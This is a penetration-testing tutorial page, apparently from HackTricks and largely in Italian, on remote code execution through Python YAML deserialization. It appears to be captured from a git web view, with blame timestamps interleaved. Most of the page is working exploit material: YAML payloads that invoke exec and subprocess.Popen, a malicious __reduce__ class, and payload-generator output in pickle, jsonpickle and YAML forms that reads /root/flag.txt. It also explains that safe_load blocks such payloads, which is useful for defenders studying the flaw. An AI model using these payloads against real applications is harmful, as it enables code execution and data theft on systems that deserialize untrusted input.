hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md

164 lines
7.6 KiB
Markdown
Raw Normal View History

# Python Yaml Deserialization
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Yaml **Deserialization**
2022-04-28 16:01:33 +00:00
**Le librerie** Yaml **python sono anche in grado di** **serializzare oggetti python** e non solo dati grezzi:
```
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
2024-02-10 13:03:23 +00:00
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Controlla come il **tuple** non sia un tipo di dato grezzo e quindi sia stato **serializzato**. E lo stesso è accaduto con il **range** (preso dai builtins).
![](<../../.gitbook/assets/image (1040).png>)
**safe\_load()** o **safe\_load\_all()** utilizzano SafeLoader e **non supportano la deserializzazione degli oggetti di classe**. Esempio di deserializzazione degli oggetti di classe:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Il codice precedente utilizzava **unsafe\_load** per caricare la classe python serializzata. Questo perché in **versione >= 5.1**, non consente di **deserializzare alcuna classe python serializzata o attributo di classe**, senza specificare il Loader in load() o Loader=SafeLoader.
### Exploit di Base
2024-02-10 13:03:23 +00:00
Esempio su come **eseguire un sleep**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### Vulnerabile .load("\<content>") senza Loader
**Le vecchie versioni** di pyyaml erano vulnerabili ad attacchi di deserializzazione se **non specificavi il Loader** quando caricavi qualcosa: `yaml.load(data)`
2022-02-18 17:51:13 +00:00
2024-02-10 13:03:23 +00:00
Puoi trovare la [**descrizione della vulnerabilità qui**](https://hackmd.io/@defund/HJZajCVlP)**.** L'**exploit** proposto in quella pagina è:
2022-02-18 17:51:13 +00:00
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
2024-02-10 13:03:23 +00:00
state:
update: !!python/name:exec
2022-02-18 17:51:13 +00:00
```
Oppure puoi anche usare questo **one-liner fornito da @ishaack**:
2022-02-18 18:14:38 +00:00
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
Nota che nelle **versioni recenti** non puoi **più chiamare `.load()`** **senza un `Loader`** e il **`FullLoader`** **non è più vulnerabile** a questo attacco.
2022-02-18 17:51:13 +00:00
## RCE
I payload personalizzati possono essere creati utilizzando moduli Python YAML come **PyYAML** o **ruamel.yaml**. Questi payload possono sfruttare vulnerabilità nei sistemi che deserializzano input non affidabili senza una corretta sanificazione.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
2024-02-10 13:03:23 +00:00
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Strumento per creare Payload
2024-02-10 13:03:23 +00:00
Lo strumento [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) può essere utilizzato per generare payload di deserializzazione python per abusare di **Pickle, PyYAML, jsonpickle e ruamel.yaml:**
```bash
2024-02-10 13:03:23 +00:00
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
2024-02-10 13:03:23 +00:00
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
2024-02-10 13:03:23 +00:00
- cat
- /root/flag.txt
```
### Riferimenti
2024-02-06 14:12:47 +00:00
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Supporta HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}